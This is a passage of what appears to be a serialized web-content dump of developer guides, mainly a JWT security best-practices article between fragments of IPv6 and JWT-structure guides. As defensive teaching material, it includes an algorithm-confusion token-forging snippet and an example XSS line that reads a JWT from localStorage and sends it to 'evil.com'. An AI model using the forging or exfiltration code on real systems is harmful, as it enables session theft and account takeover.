\"IPv6 slows down your network\"",[16,240767,240768],{},"Modern benchmarks show negligible latency differences. In some cases, IPv6 is faster because CDN edge servers have native IPv6, avoiding NAT overhead.",[33,240770,240772],{"id":240771},"you-can-ignore-ipv6","❌ \"You can ignore IPv6\"",[16,240774,240775],{},"If your service is IPv4-only, you are invisible to IPv6-only users — a growing segment, especially on mobile networks. Cloud providers also charge premium rates for IPv4 addresses.",[33,240777,240779],{"id":240778},"ipv4-will-disappear-soon","❌ \"IPv4 will disappear soon\"",[16,240781,240782],{},"IPv4 will coexist with IPv6 for decades. Dual-stack is the norm, not the exception. But the cost and complexity of maintaining IPv4 will keep rising.",[11,240784,1355],{"id":1354},[41,240786,240787,240790,240793,240796,240799,240802],{},[44,240788,240789],{},"IPv4 offers 4.3 billion addresses — officially exhausted across all regional registries",[44,240791,240792],{},"IPv6 offers 340 undecillion addresses — virtually unlimited",[44,240794,240795],{},"IPv6 simplifies networking by eliminating NAT and requiring built-in security",[44,240797,240798],{},"Global adoption is roughly 40% and growing, driven by mobile carriers and cloud providers",[44,240800,240801],{},"Dual-stack is the practical transition strategy for the foreseeable future",[44,240803,240804],{},"Ignoring IPv6 means losing reachability to a growing user base",[11,240806,286],{"id":285},[16,240808,240809],{},"Explore your own IP setup with these free tools:",[41,240811,240812,240817],{},[44,240813,240814,240816],{},[98,240815,239186],{"href":239185}," — See your public IP address, whether it is IPv4 or IPv6, and approximate location",[44,240818,240819,240821],{},[98,240820,239193],{"href":239192}," — Look up geographic and network details for any IPv4 or IPv6 address",{"title":141,"searchDepth":337,"depth":337,"links":240823},[240824,240825,240829,240834,240835,240840,240844,240845,240851,240852],{"id":240234,"depth":337,"text":240235},{"id":240249,"depth":337,"text":240250,"children":240826},[240827,240828],{"id":88484,"depth":343,"text":13018},{"id":240273,"depth":343,"text":240274},{"id":240303,"depth":337,"text":240304,"children":240830},[240831,240832,240833],{"id":238793,"depth":343,"text":13018},{"id":238815,"depth":343,"text":238816},{"id":240345,"depth":343,"text":240274},{"id":238826,"depth":337,"text":238827},{"id":240516,"depth":337,"text":240517,"children":240836},[240837,240838,240839],{"id":240520,"depth":343,"text":240521},{"id":240585,"depth":343,"text":240586},{"id":240599,"depth":343,"text":240600},{"id":240606,"depth":337,"text":240607,"children":240841},[240842,240843],{"id":240616,"depth":343,"text":240617},{"id":240688,"depth":343,"text":240689},{"id":240718,"depth":337,"text":240719},{"id":240753,"depth":337,"text":240754,"children":240846},[240847,240848,240849,240850],{"id":240757,"depth":343,"text":240758},{"id":240764,"depth":343,"text":240765},{"id":240771,"depth":343,"text":240772},{"id":240778,"depth":343,"text":240779},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Compare IPv4 and IPv6 address formats. Understand the technical differences, the IPv4 exhaustion problem, and the current state of IPv6 adoption.",{"immutable":363},"\u002Fguides\u002Fipv4-vs-ipv6",{"title":240229,"description":240853},"guides\u002Fipv4-vs-ipv6","vcACXIR6Dgq1_BEvsBTThu93sLmB14WNlMm59J0CSVI",{"id":240860,"title":240861,"body":240862,"date":235803,"description":241871,"extension":361,"meta":241872,"navigation":363,"path":241873,"readingTime":1710,"seo":241874,"stem":241875,"__hash__":241876},"guides\u002Fguides\u002Fjwt-security-best-practices.md","JWT Security Best Practices: Common Vulnerabilities",{"type":8,"value":240863,"toc":241839},[240864,240868,240871,240874,240878,240881,240883,240913,241019,241023,241053,241093,241097,241100,241102,241105,241154,241163,241166,241177,241206,241214,241218,241221,241225,241251,241260,241305,241309,241315,241358,241364,241368,241371,241385,241389,241393,241403,241435,241439,241442,241444,241470,241515,241519,241522,241528,241533,241547,241550,241565,241609,241613,241617,241620,241669,241671,241677,241683,241686,241690,241693,241713,241717,241806,241808,241828,241830,241836],[11,240865,240867],{"id":240866},"why-jwt-security-matters","Why JWT Security Matters",[16,240869,240870],{},"JSON Web Tokens are widely used for authentication — and widely misused. A compromised JWT can grant an attacker full access to user accounts, API endpoints, and sensitive data. Unlike session-based auth, a JWT is self-contained: once issued, it remains valid until it expires, unless you actively revoke it.",[16,240872,240873],{},"This makes securing JWTs fundamentally different from securing sessions. A stolen session ID becomes useless the moment the server destroys the session. A stolen JWT remains valid for its entire lifetime.",[11,240875,240877],{"id":240876},"vulnerability-1-algorithm-confusion-attack","Vulnerability 1: Algorithm Confusion Attack",[16,240879,240880],{},"This is the most dangerous JWT vulnerability — and the easiest to exploit.",[33,240882,31483],{"id":31482},[77,240884,240885,240888,240897,240904,240910],{},[44,240886,240887],{},"A server issues JWTs signed with RS256 (asymmetric — private key signs, public key verifies)",[44,240889,240890,240891,5255,240893,240896],{},"An attacker changes the header ",[143,240892,90993],{},[143,240894,240895],{},"HS256"," (symmetric — same secret signs and verifies)",[44,240898,240899,240900,240903],{},"The attacker signs the token using the ",[47,240901,240902],{},"public key"," as the HMAC secret",[44,240905,240906,240907,240909],{},"The server, trusting the ",[143,240908,90993],{}," header, switches to HMAC verification and uses the public key as the secret",[44,240911,240912],{},"The signature matches — the attacker's forged token is accepted",[135,240914,240916],{"className":1607,"code":240915,"language":1609,"meta":141,"style":141},"\u002F\u002F Attacker crafts a malicious token\nconst forgedHeader = { alg: \"HS256\", typ: \"JWT\" };\nconst forgedPayload = { sub: \"admin\", role: \"superuser\" };\n\u002F\u002F Signs with the publicly available RSA public key as HMAC secret\nconst signature = HMACSHA256(\n  base64UrlEncode(forgedHeader) + \".\" + base64UrlEncode(forgedPayload),\n  publicKey  \u002F\u002F Public key is... public\n);\n",[143,240917,240918,240923,240946,240967,240972,240986,241007,241015],{"__ignoreMap":141},[1560,240919,240920],{"class":1562,"line":1563},[1560,240921,240922],{"class":1649},"\u002F\u002F Attacker crafts a malicious token\n",[1560,240924,240925,240927,240930,240932,240935,240938,240941,240944],{"class":1562,"line":337},[1560,240926,8180],{"class":1669},[1560,240928,240929],{"class":1576}," forgedHeader",[1560,240931,8186],{"class":1669},[1560,240933,240934],{"class":1570}," { alg: ",[1560,240936,240937],{"class":5634},"\"HS256\"",[1560,240939,240940],{"class":1570},", typ: ",[1560,240942,240943],{"class":5634},"\"JWT\"",[1560,240945,131020],{"class":1570},[1560,240947,240948,240950,240953,240955,240958,240960,240962,240965],{"class":1562,"line":343},[1560,240949,8180],{"class":1669},[1560,240951,240952],{"class":1576}," forgedPayload",[1560,240954,8186],{"class":1669},[1560,240956,240957],{"class":1570}," { sub: ",[1560,240959,81849],{"class":5634},[1560,240961,138760],{"class":1570},[1560,240963,240964],{"class":5634},"\"superuser\"",[1560,240966,131020],{"class":1570},[1560,240968,240969],{"class":1562,"line":365},[1560,240970,240971],{"class":1649},"\u002F\u002F Signs with the publicly available RSA public key as HMAC secret\n",[1560,240973,240974,240976,240979,240981,240984],{"class":1562,"line":889},[1560,240975,8180],{"class":1669},[1560,240977,240978],{"class":1576}," signature",[1560,240980,8186],{"class":1669},[1560,240982,240983],{"class":1566}," HMACSHA256",[1560,240985,35957],{"class":1570},[1560,240987,240988,240991,240994,240996,240999,241001,241004],{"class":1562,"line":1710},[1560,240989,240990],{"class":1566},"  base64UrlEncode",[1560,240992,240993],{"class":1570},"(forgedHeader) ",[1560,240995,9448],{"class":1669},[1560,240997,240998],{"class":5634}," \".\"",[1560,241000,29002],{"class":1669},[1560,241002,241003],{"class":1566}," base64UrlEncode",[1560,241005,241006],{"class":1570},"(forgedPayload),\n",[1560,241008,241009,241012],{"class":1562,"line":1717},[1560,241010,241011],{"class":1570},"  publicKey  ",[1560,241013,241014],{"class":1649},"\u002F\u002F Public key is... public\n",[1560,241016,241017],{"class":1562,"line":1747},[1560,241018,1744],{"class":1570},[33,241020,241022],{"id":241021},"prevention","Prevention",[41,241024,241025,241034,241041],{},[44,241026,241027,241030,241031,241033],{},[47,241028,241029],{},"Always enforce the expected algorithm server-side."," Never trust the ",[143,241032,90993],{}," claim from the token.",[44,241035,241036,241037,241040],{},"If you use RS256, explicitly verify that ",[143,241038,241039],{},"alg === \"RS256\""," before processing.",[44,241042,111276,241043,1459,241046,1466,241049,241052],{},[143,241044,241045],{},"python-jose",[143,241047,241048],{},"jjwt",[143,241050,241051],{},"node-jose"," provide options to restrict allowed algorithms.",[135,241054,241056],{"className":1607,"code":241055,"language":1609,"meta":141,"style":141},"\u002F\u002F Bad: trusts the alg from the token\njwt.verify(token, publicKey);\n\n\u002F\u002F Good: enforces the expected algorithm\njwt.verify(token, publicKey, { algorithms: [\"RS256\"] });\n",[143,241057,241058,241063,241071,241075,241080],{"__ignoreMap":141},[1560,241059,241060],{"class":1562,"line":1563},[1560,241061,241062],{"class":1649},"\u002F\u002F Bad: trusts the alg from the token\n",[1560,241064,241065,241067,241069],{"class":1562,"line":337},[1560,241066,90318],{"class":1570},[1560,241068,90321],{"class":1566},[1560,241070,90520],{"class":1570},[1560,241072,241073],{"class":1562,"line":343},[1560,241074,1702],{"emptyLinePlaceholder":363},[1560,241076,241077],{"class":1562,"line":365},[1560,241078,241079],{"class":1649},"\u002F\u002F Good: enforces the expected algorithm\n",[1560,241081,241082,241084,241086,241088,241091],{"class":1562,"line":889},[1560,241083,90318],{"class":1570},[1560,241085,90321],{"class":1566},[1560,241087,90566],{"class":1570},[1560,241089,241090],{"class":5634},"\"RS256\"",[1560,241092,90572],{"class":1570},[11,241094,241096],{"id":241095},"vulnerability-2-weak-secret-keys","Vulnerability 2: Weak Secret Keys",[16,241098,241099],{},"HMAC-based JWTs (HS256, HS384, HS512) are only as strong as the secret used to sign them.",[33,241101,238776],{"id":238775},[16,241103,241104],{},"Many developers use short, guessable secrets:",[135,241106,241108],{"className":1607,"code":241107,"language":1609,"meta":141,"style":141},"\u002F\u002F Dangerously weak secrets\nconst secret = \"secret\";\nconst secret = \"my-app-key\";\nconst secret = \"password123\";\n",[143,241109,241110,241115,241128,241141],{"__ignoreMap":141},[1560,241111,241112],{"class":1562,"line":1563},[1560,241113,241114],{"class":1649},"\u002F\u002F Dangerously weak secrets\n",[1560,241116,241117,241119,241121,241123,241126],{"class":1562,"line":337},[1560,241118,8180],{"class":1669},[1560,241120,90386],{"class":1576},[1560,241122,8186],{"class":1669},[1560,241124,241125],{"class":5634}," \"secret\"",[1560,241127,2228],{"class":1570},[1560,241129,241130,241132,241134,241136,241139],{"class":1562,"line":343},[1560,241131,8180],{"class":1669},[1560,241133,90386],{"class":1576},[1560,241135,8186],{"class":1669},[1560,241137,241138],{"class":5634}," \"my-app-key\"",[1560,241140,2228],{"class":1570},[1560,241142,241143,241145,241147,241149,241152],{"class":1562,"line":365},[1560,241144,8180],{"class":1669},[1560,241146,90386],{"class":1576},[1560,241148,8186],{"class":1669},[1560,241150,241151],{"class":5634}," \"password123\"",[1560,241153,2228],{"class":1570},[16,241155,241156,241157,1531,241160,468],{},"Attackers can crack these with brute-force or dictionary attacks in seconds using tools like ",[143,241158,241159],{},"jwt-cracker",[143,241161,241162],{},"hashcat",[33,241164,241022],{"id":241165},"prevention-1",[41,241167,241168,241174],{},[44,241169,1388,241170,241173],{},[47,241171,241172],{},"at least 256 bits (32 bytes)"," of cryptographically random data for HS256",[44,241175,241176],{},"Generate secrets with a secure random generator — never use human-readable strings",[135,241178,241180],{"className":6951,"code":241179,"language":6953,"meta":141,"style":141},"# Generate a strong secret with OpenSSL\nopenssl rand -base64 32\n# Output: xJ3k9$mN2pQ7vR1wY5tA8bC4dF6gH0iL\n",[143,241181,241182,241187,241201],{"__ignoreMap":141},[1560,241183,241184],{"class":1562,"line":1563},[1560,241185,241186],{"class":1649},"# Generate a strong secret with OpenSSL\n",[1560,241188,241189,241192,241195,241198],{"class":1562,"line":337},[1560,241190,241191],{"class":1566},"openssl",[1560,241193,241194],{"class":5634}," rand",[1560,241196,241197],{"class":1576}," -base64",[1560,241199,241200],{"class":1576}," 32\n",[1560,241202,241203],{"class":1562,"line":343},[1560,241204,241205],{"class":1649},"# Output: xJ3k9$mN2pQ7vR1wY5tA8bC4dF6gH0iL\n",[41,241207,241208,241211],{},[44,241209,241210],{},"Rotate secrets periodically — if a secret leaks, every token signed with it is compromised",[44,241212,241213],{},"Consider RS256 or ES256 instead of HS256 for production systems",[11,241215,241217],{"id":241216},"vulnerability-3-insecure-token-storage","Vulnerability 3: Insecure Token Storage",[16,241219,241220],{},"Where you store JWTs on the client determines how easily an attacker can steal them.",[33,241222,241224],{"id":241223},"localstorage-a-common-and-dangerous-choice","localStorage: A Common and Dangerous Choice",[135,241226,241228],{"className":1607,"code":241227,"language":1609,"meta":141,"style":141},"\u002F\u002F NEVER do this in production\nlocalStorage.setItem('token', jwt);\n",[143,241229,241230,241235],{"__ignoreMap":141},[1560,241231,241232],{"class":1562,"line":1563},[1560,241233,241234],{"class":1649},"\u002F\u002F NEVER do this in production\n",[1560,241236,241237,241240,241243,241245,241248],{"class":1562,"line":337},[1560,241238,241239],{"class":1570},"localStorage.",[1560,241241,241242],{"class":1566},"setItem",[1560,241244,1688],{"class":1570},[1560,241246,241247],{"class":5634},"'token'",[1560,241249,241250],{"class":1570},", jwt);\n",[16,241252,241253,241256,241257,241259],{},[47,241254,241255],{},"Why it's dangerous",": Any XSS vulnerability — in your code or a third-party script — can read ",[143,241258,219693],{}," and exfiltrate the token.",[135,241261,241263],{"className":1607,"code":241262,"language":1609,"meta":141,"style":141},"\u002F\u002F An attacker injects this via XSS\nconst stolen = localStorage.getItem('token');\nfetch('https:\u002F\u002Fevil.com\u002Fsteal?token=' + stolen);\n",[143,241264,241265,241270,241291],{"__ignoreMap":141},[1560,241266,241267],{"class":1562,"line":1563},[1560,241268,241269],{"class":1649},"\u002F\u002F An attacker injects this via XSS\n",[1560,241271,241272,241274,241277,241279,241282,241285,241287,241289],{"class":1562,"line":337},[1560,241273,8180],{"class":1669},[1560,241275,241276],{"class":1576}," stolen",[1560,241278,8186],{"class":1669},[1560,241280,241281],{"class":1570}," localStorage.",[1560,241283,241284],{"class":1566},"getItem",[1560,241286,1688],{"class":1570},[1560,241288,241247],{"class":5634},[1560,241290,1744],{"class":1570},[1560,241292,241293,241295,241297,241300,241302],{"class":1562,"line":343},[1560,241294,133696],{"class":1566},[1560,241296,1688],{"class":1570},[1560,241298,241299],{"class":5634},"'https:\u002F\u002Fevil.com\u002Fsteal?token='",[1560,241301,29002],{"class":1669},[1560,241303,241304],{"class":1570}," stolen);\n",[33,241306,241308],{"id":241307},"the-recommended-approach-httponly-cookies","The Recommended Approach: HttpOnly Cookies",[16,241310,241311,241312,8037],{},"Store JWTs in ",[47,241313,241314],{},"HttpOnly, Secure, SameSite cookies",[193,241316,241317,241325],{},[196,241318,241319],{},[199,241320,241321,241323],{},[202,241322,149504],{},[202,241324,922],{},[211,241326,241327,241336,241345],{},[199,241328,241329,241333],{},[216,241330,241331],{},[143,241332,231341],{},[216,241334,241335],{},"JavaScript cannot access the cookie — blocks XSS theft",[199,241337,241338,241342],{},[216,241339,241340],{},[143,241341,218116],{},[216,241343,241344],{},"Cookie only sent over HTTPS — blocks network interception",[199,241346,241347,241355],{},[216,241348,241349,63678,241352,1525],{},[143,241350,241351],{},"SameSite=Strict",[143,241353,241354],{},"Lax",[216,241356,241357],{},"Cookie not sent on cross-origin requests — blocks CSRF",[135,241359,241362],{"className":241360,"code":241361,"language":140},[138],"Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n",[143,241363,241361],{"__ignoreMap":141},[33,241365,241367],{"id":241366},"csrf-protection-for-cookies","CSRF Protection for Cookies",[16,241369,241370],{},"Cookies are vulnerable to CSRF attacks. Pair them with a CSRF token:",[77,241372,241373,241376,241382],{},[44,241374,241375],{},"Server sends a CSRF token in the response body",[44,241377,241378,241379,1525],{},"Client includes the CSRF token in a custom header (e.g., ",[143,241380,241381],{},"X-CSRF-Token",[44,241383,241384],{},"Server verifies both the cookie JWT and the CSRF header",[11,241386,241388],{"id":241387},"vulnerability-4-missing-or-excessive-token-expiration","Vulnerability 4: Missing or Excessive Token Expiration",[33,241390,241392],{"id":241391},"no-expiration","No Expiration",[16,241394,241395,241396,241398,241399,241402],{},"A JWT without an ",[143,241397,90022],{}," claim ",[47,241400,241401],{},"never expires",". If it's stolen, the attacker has persistent access.",[135,241404,241406],{"className":23484,"code":241405,"language":23486,"meta":141,"style":141},"{\n  \"sub\": \"user123\",\n  \"role\": \"admin\"\n}\n",[143,241407,241408,241412,241423,241431],{"__ignoreMap":141},[1560,241409,241410],{"class":1562,"line":1563},[1560,241411,23493],{"class":1570},[1560,241413,241414,241416,241418,241421],{"class":1562,"line":337},[1560,241415,138522],{"class":1576},[1560,241417,1663],{"class":1570},[1560,241419,241420],{"class":5634},"\"user123\"",[1560,241422,11943],{"class":1570},[1560,241424,241425,241427,241429],{"class":1562,"line":343},[1560,241426,81838],{"class":1576},[1560,241428,1663],{"class":1570},[1560,241430,81350],{"class":5634},[1560,241432,241433],{"class":1562,"line":365},[1560,241434,1585],{"class":1570},[33,241436,241438],{"id":241437},"expiration-too-long","Expiration Too Long",[16,241440,241441],{},"A 30-day token lifetime means a stolen token is valid for 30 days — far too long for sensitive applications.",[33,241443,35318],{"id":35317},[41,241445,241446,241452,241458,241464],{},[44,241447,241448,241451],{},[47,241449,241450],{},"Access tokens",": 5–15 minutes",[44,241453,241454,241457],{},[47,241455,241456],{},"Refresh tokens",": 7–30 days, stored securely and rotated",[44,241459,241460,241461,241463],{},"Always include the ",[143,241462,90022],{}," claim",[44,241465,241466,241467,241469],{},"Validate ",[143,241468,90022],{}," server-side — never rely on the client to check expiration",[135,241471,241473],{"className":23484,"code":241472,"language":23486,"meta":141,"style":141},"{\n  \"sub\": \"user123\",\n  \"iat\": 1516239022,\n  \"exp\": 1516239322\n}\n",[143,241474,241475,241479,241489,241501,241511],{"__ignoreMap":141},[1560,241476,241477],{"class":1562,"line":1563},[1560,241478,23493],{"class":1570},[1560,241480,241481,241483,241485,241487],{"class":1562,"line":337},[1560,241482,138522],{"class":1576},[1560,241484,1663],{"class":1570},[1560,241486,241420],{"class":5634},[1560,241488,11943],{"class":1570},[1560,241490,241491,241494,241496,241499],{"class":1562,"line":343},[1560,241492,241493],{"class":1576},"  \"iat\"",[1560,241495,1663],{"class":1570},[1560,241497,241498],{"class":1576},"1516239022",[1560,241500,11943],{"class":1570},[1560,241502,241503,241506,241508],{"class":1562,"line":365},[1560,241504,241505],{"class":1576},"  \"exp\"",[1560,241507,1663],{"class":1570},[1560,241509,241510],{"class":1576},"1516239322\n",[1560,241512,241513],{"class":1562,"line":889},[1560,241514,1585],{"class":1570},[11,241516,241518],{"id":241517},"vulnerability-5-token-leakage-in-urls","Vulnerability 5: Token Leakage in URLs",[16,241520,241521],{},"JWTs sometimes travel in URL query parameters:",[135,241523,241526],{"className":241524,"code":241525,"language":140},[138],"https:\u002F\u002Fapi.example.com\u002Fdata?token=eyJhbG...\n",[143,241527,241525],{"__ignoreMap":141},[16,241529,241530,8037],{},[47,241531,241532],{},"Problems",[41,241534,241535,241538,241541,241544],{},[44,241536,241537],{},"Tokens appear in server access logs",[44,241539,241540],{},"Tokens appear in browser history",[44,241542,241543],{},"Tokens appear in Referer headers when navigating to external sites",[44,241545,241546],{},"Tokens can be copied and shared accidentally",[33,241548,241022],{"id":241549},"prevention-2",[41,241551,241552,241559,241562],{},[44,241553,241554,241555,241558],{},"Send tokens in the ",[143,241556,241557],{},"Authorization"," header instead",[44,241560,241561],{},"Use cookies for browser-based applications",[44,241563,241564],{},"Never put JWTs in URLs",[135,241566,241568],{"className":1607,"code":241567,"language":1609,"meta":141,"style":141},"\u002F\u002F Good: send via header\nfetch('\u002Fapi\u002Fdata', {\n  headers: { 'Authorization': `Bearer ${token}` }\n});\n",[143,241569,241570,241575,241586,241605],{"__ignoreMap":141},[1560,241571,241572],{"class":1562,"line":1563},[1560,241573,241574],{"class":1649},"\u002F\u002F Good: send via header\n",[1560,241576,241577,241579,241581,241584],{"class":1562,"line":337},[1560,241578,133696],{"class":1566},[1560,241580,1688],{"class":1570},[1560,241582,241583],{"class":5634},"'\u002Fapi\u002Fdata'",[1560,241585,49495],{"class":1570},[1560,241587,241588,241591,241594,241596,241599,241601,241603],{"class":1562,"line":343},[1560,241589,241590],{"class":1570},"  headers: { ",[1560,241592,241593],{"class":5634},"'Authorization'",[1560,241595,1663],{"class":1570},[1560,241597,241598],{"class":5634},"`Bearer ${",[1560,241600,89884],{"class":1570},[1560,241602,9582],{"class":5634},[1560,241604,27879],{"class":1570},[1560,241606,241607],{"class":1562,"line":365},[1560,241608,11809],{"class":1570},[11,241610,241612],{"id":241611},"token-refresh-and-rotation-strategies","Token Refresh and Rotation Strategies",[33,241614,241616],{"id":241615},"access-refresh-token-pattern","Access + Refresh Token Pattern",[16,241618,241619],{},"Use two tokens with different lifetimes and purposes:",[193,241621,241622,241636],{},[196,241623,241624],{},[199,241625,241626,241628,241631,241633],{},[202,241627,4028],{},[202,241629,241630],{},"Lifetime",[202,241632,2758],{},[202,241634,241635],{},"Storage",[211,241637,241638,241654],{},[199,241639,241640,241645,241648,241651],{},[216,241641,241642],{},[47,241643,241644],{},"Access Token",[216,241646,241647],{},"5–15 min",[216,241649,241650],{},"Authorize API requests",[216,241652,241653],{},"Memory (or HttpOnly cookie)",[199,241655,241656,241661,241663,241666],{},[216,241657,241658],{},[47,241659,241660],{},"Refresh Token",[216,241662,138848],{},[216,241664,241665],{},"Obtain new access tokens",[216,241667,241668],{},"HttpOnly cookie only",[33,241670,138999],{"id":138998},[16,241672,241673,241674,241676],{},"Every time a refresh token is used, issue a ",[47,241675,20807],{}," refresh token and invalidate the old one:",[135,241678,241681],{"className":241679,"code":241680,"language":140},[138],"1. Client sends refresh token A\n2. Server validates A → issues access token + refresh token B\n3. Server invalidates A\n4. If token A is used again → possible theft detected → revoke all tokens for that user\n",[143,241682,241680],{"__ignoreMap":141},[16,241684,241685],{},"This limits the window of exploitation and provides theft detection.",[33,241687,241689],{"id":241688},"token-revocation","Token Revocation",[16,241691,241692],{},"JWTs are stateless by design, which makes revocation hard. Practical solutions:",[41,241694,241695,241701,241707],{},[44,241696,241697,241700],{},[47,241698,241699],{},"Short access token lifetimes",": The simplest approach — compromised tokens expire quickly",[44,241702,241703,241706],{},[47,241704,241705],{},"Token blacklist",": Store revoked token IDs (jti) in a fast store like Redis",[44,241708,241709,241712],{},[47,241710,241711],{},"User-level revocation",": Store a token version per user; increment it to revoke all existing tokens",[11,241714,241716],{"id":241715},"security-checklist","Security Checklist",[193,241718,241719,241727],{},[196,241720,241721],{},[199,241722,241723,241725],{},[202,241724,117448],{},[202,241726,222156],{},[211,241728,241729,241737,241744,241751,241760,241767,241774,241781,241792,241799],{},[199,241730,241731,241734],{},[216,241732,241733],{},"Algorithm is enforced server-side, not read from the token",[216,241735,241736],{},"☐",[199,241738,241739,241742],{},[216,241740,241741],{},"HMAC secrets are at least 256 bits and randomly generated",[216,241743,241736],{},[199,241745,241746,241749],{},[216,241747,241748],{},"Tokens are stored in HttpOnly cookies, not localStorage",[216,241750,241736],{},[199,241752,241753,241758],{},[216,241754,241755,241757],{},[143,241756,90022],{}," claim is set and validated server-side",[216,241759,241736],{},[199,241761,241762,241765],{},[216,241763,241764],{},"Access tokens expire in 15 minutes or less",[216,241766,241736],{},[199,241768,241769,241772],{},[216,241770,241771],{},"Refresh tokens are rotated on each use",[216,241773,241736],{},[199,241775,241776,241779],{},[216,241777,241778],{},"Tokens are never placed in URLs",[216,241780,241736],{},[199,241782,241783,241790],{},[216,241784,241785,1856,241787,241789],{},[143,241786,90034],{},[143,241788,90028],{}," claims are validated",[216,241791,241736],{},[199,241793,241794,241797],{},[216,241795,241796],{},"CSRF protection is in place when using cookies",[216,241798,241736],{},[199,241800,241801,241804],{},[216,241802,241803],{},"A revocation strategy exists for emergencies",[216,241805,241736],{},[11,241807,321],{"id":320},[41,241809,241810,241816,241822],{},[44,241811,241812],{},[98,241813,241815],{"href":241814},"\u002Fguides\u002Fjwt-structure-explained","JWT Structure Explained",[44,241817,241818],{},[98,241819,241821],{"href":241820},"\u002Fguides\u002Fjwt-vs-oauth-tokens","JWT vs OAuth Tokens",[44,241823,241824],{},[98,241825,241827],{"href":241826},"\u002Fguides\u002Fstrong-password-guide","Strong Passwords Guide",[11,241829,286],{"id":285},[16,241831,241832,241833,241835],{},"Inspect your JWTs for security issues using our free ",[98,241834,91043],{"href":91042},". Check the algorithm, claims, and expiration — all decoded locally in your browser with zero data sent to any server.",[2043,241837,241838],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":241840},[241841,241842,241846,241850,241855,241860,241863,241868,241869,241870],{"id":240866,"depth":337,"text":240867},{"id":240876,"depth":337,"text":240877,"children":241843},[241844,241845],{"id":31482,"depth":343,"text":31483},{"id":241021,"depth":343,"text":241022},{"id":241095,"depth":337,"text":241096,"children":241847},[241848,241849],{"id":238775,"depth":343,"text":238776},{"id":241165,"depth":343,"text":241022},{"id":241216,"depth":337,"text":241217,"children":241851},[241852,241853,241854],{"id":241223,"depth":343,"text":241224},{"id":241307,"depth":343,"text":241308},{"id":241366,"depth":343,"text":241367},{"id":241387,"depth":337,"text":241388,"children":241856},[241857,241858,241859],{"id":241391,"depth":343,"text":241392},{"id":241437,"depth":343,"text":241438},{"id":35317,"depth":343,"text":35318},{"id":241517,"depth":337,"text":241518,"children":241861},[241862],{"id":241549,"depth":343,"text":241022},{"id":241611,"depth":337,"text":241612,"children":241864},[241865,241866,241867],{"id":241615,"depth":343,"text":241616},{"id":138998,"depth":343,"text":138999},{"id":241688,"depth":343,"text":241689},{"id":241715,"depth":337,"text":241716},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn JWT security best practices. Prevent common vulnerabilities like algorithm confusion, weak secrets, and token leakage.",{"immutable":363},"\u002Fguides\u002Fjwt-security-best-practices",{"title":240861,"description":241871},"guides\u002Fjwt-security-best-practices","y7uzVbZfTvOo5mOyXFdo9kglkY85KWVmZ114KtingwE",{"id":241878,"title":241879,"body":241880,"date":235803,"description":242741,"extension":361,"meta":242742,"navigation":363,"path":241814,"readingTime":1710,"seo":242743,"stem":242744,"__hash__":242745},"guides\u002Fguides\u002Fjwt-structure-explained.md","JWT Structure Explained: Header, Payload, and Signature",{"type":8,"value":241881,"toc":242712},[241882,241886,241889,241892,241898,241901,241905,241908,241914,241964,241967,241969,241972,242006,242010,242049,242057,242076,242087,242090,242096,242100,242107,242111,242114,242205,242212,242216,242280,242304,242308,242332,242335,242339,242345,242349,242352,242356,242362,242366,242372,242379,242383,242389,242393,242399,242468,242472,242618,242622,242628,242647,242650,242654,242658,242664,242668,242673,242677,242682,242684,242701,242703,242709],[11,241883,241885],{"id":241884},"what-is-a-jwt","What Is a JWT?",[16,241887,241888],{},"A JSON Web Token (JWT) is a compact, URL-safe string that carries information between two parties. Defined in RFC 7519, JWTs are the backbone of modern authentication and authorization flows.",[16,241890,241891],{},"A JWT looks like this:",[135,241893,241896],{"className":241894,"code":241895,"language":140},[138],"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n",[143,241897,241895],{"__ignoreMap":141},[16,241899,241900],{},"That long string is three separate parts joined by dots. Each part serves a distinct purpose.",[11,241902,241904],{"id":241903},"the-three-parts-of-a-jwt","The Three Parts of a JWT",[16,241906,241907],{},"Every JWT follows the same structure:",[135,241909,241912],{"className":241910,"code":241911,"language":140},[138],"header.payload.signature\n",[143,241913,241911],{"__ignoreMap":141},[193,241915,241916,241927],{},[196,241917,241918],{},[199,241919,241920,241922,241925],{},[202,241921,130343],{},[202,241923,241924],{},"Encoded With",[202,241926,2758],{},[211,241928,241929,241941,241953],{},[199,241930,241931,241935,241938],{},[216,241932,241933],{},[47,241934,223758],{},[216,241936,241937],{},"Base64URL",[216,241939,241940],{},"Identifies the token type and signing algorithm",[199,241942,241943,241948,241950],{},[216,241944,241945],{},[47,241946,241947],{},"Payload",[216,241949,241937],{},[216,241951,241952],{},"Carries the actual data (claims)",[199,241954,241955,241959,241961],{},[216,241956,241957],{},[47,241958,90999],{},[216,241960,241937],{},[216,241962,241963],{},"Ensures the token has not been tampered 